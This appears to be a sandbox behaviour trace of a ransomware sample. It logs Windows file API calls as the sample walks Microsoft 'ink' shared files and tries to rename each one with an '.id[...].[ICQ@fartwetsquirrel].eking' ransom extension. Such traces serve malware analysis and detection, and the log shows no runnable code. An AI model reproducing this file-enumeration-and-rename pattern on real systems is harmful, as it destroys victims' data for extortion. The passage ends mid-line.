CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0231.176] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=10752) returned 1 [0231.176] CloseHandle (hObject=0x37c) returned 1 [0231.176] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui")) returned 0x20 [0231.176] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui")) returned 0x20 [0231.176] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.176] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.177] SetEvent (hEvent=0x2b8) returned 1 [0231.177] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0231.181] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=3072) returned 1 [0231.181] CloseHandle (hObject=0x37c) returned 1 [0231.181] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui")) returned 0x20 [0231.181] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui")) returned 0x20 [0231.181] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.184] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.185] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0231.224] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=181964) returned 1 [0231.224] CloseHandle (hObject=0x37c) returned 1 [0231.224] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0231.224] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0231.224] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.232] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.233] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabtip.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0231.239] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=2560) returned 1 [0231.239] CloseHandle (hObject=0x37c) returned 1 [0231.239] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabtip.exe.mui")) returned 0x20 [0231.239] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabtip.exe.mui")) returned 0x20 [0231.239] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabtip.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.240] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabtip.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.240] SetEvent (hEvent=0x2b8) returned 1 [0231.240] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0231.247] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=25088) returned 1 [0231.247] CloseHandle (hObject=0x37c) returned 1 [0231.247] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui")) returned 0x20 [0231.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui")) returned 0x20 [0231.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.250] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.257] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0231.265] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=1600388) returned 1 [0231.266] CloseHandle (hObject=0x37c) returned 1 [0231.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20 [0231.266] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0 [0231.266] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0 [0231.266] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-ca\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0231.289] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=11264) returned 1 [0231.289] CloseHandle (hObject=0x37c) returned 1 [0231.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-ca\\tipresx.dll.mui")) returned 0x20 [0231.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-ca\\tipresx.dll.mui")) returned 0x20 [0231.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-ca\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.289] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-ca\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.289] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0231.295] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=1434) returned 1 [0231.295] CloseHandle (hObject=0x37c) returned 1 [0231.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0231.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0231.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.296] SetEvent (hEvent=0x2b8) returned 1 [0231.296] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0231.302] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=903) returned 1 [0231.302] CloseHandle (hObject=0x37c) returned 1 [0231.302] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml")) returned 0x20 [0231.302] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml")) returned 0x20 [0231.303] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.303] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.303] SetEvent (hEvent=0x2b8) returned 1 [0231.303] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0231.307] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=384) returned 1 [0231.307] CloseHandle (hObject=0x37c) returned 1 [0231.307] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20 [0231.307] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20 [0231.307] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.308] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.308] SetEvent (hEvent=0x2b8) returned 1 [0231.308] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0231.311] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=903) returned 1 [0231.311] CloseHandle (hObject=0x37c) returned 1 [0231.311] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20 [0231.311] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20 [0231.311] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.311] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.312] SetEvent (hEvent=0x2b8) returned 1 [0231.312] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0231.319] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=392) returned 1 [0231.319] CloseHandle (hObject=0x37c) returned 1 [0231.320] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20 [0231.320] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20 [0231.320] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.320] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.320] SetEvent (hEvent=0x2b8) returned 1 [0231.321] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0231.323] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=3524) returned 1 [0231.323] CloseHandle (hObject=0x37c) returned 1 [0231.323] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml")) returned 0x20 [0231.323] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml")) returned 0x20 [0231.323] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.323] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.323] SetEvent (hEvent=0x2b8) returned 1 [0231.324] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0231.325] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=3529) returned 1 [0231.325] CloseHandle (hObject=0x37c) returned 1 [0231.325] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml")) returned 0x20 [0231.326] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml")) returned 0x20 [0231.326] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.329] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.329] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0231.346] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=804) returned 1 [0231.346] CloseHandle (hObject=0x364) returned 1 [0231.346] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml")) returned 0x20 [0231.346] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml")) returned 0x20 [0231.346] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.346] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.346] SetEvent (hEvent=0x2b8) returned 1 [0231.346] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft 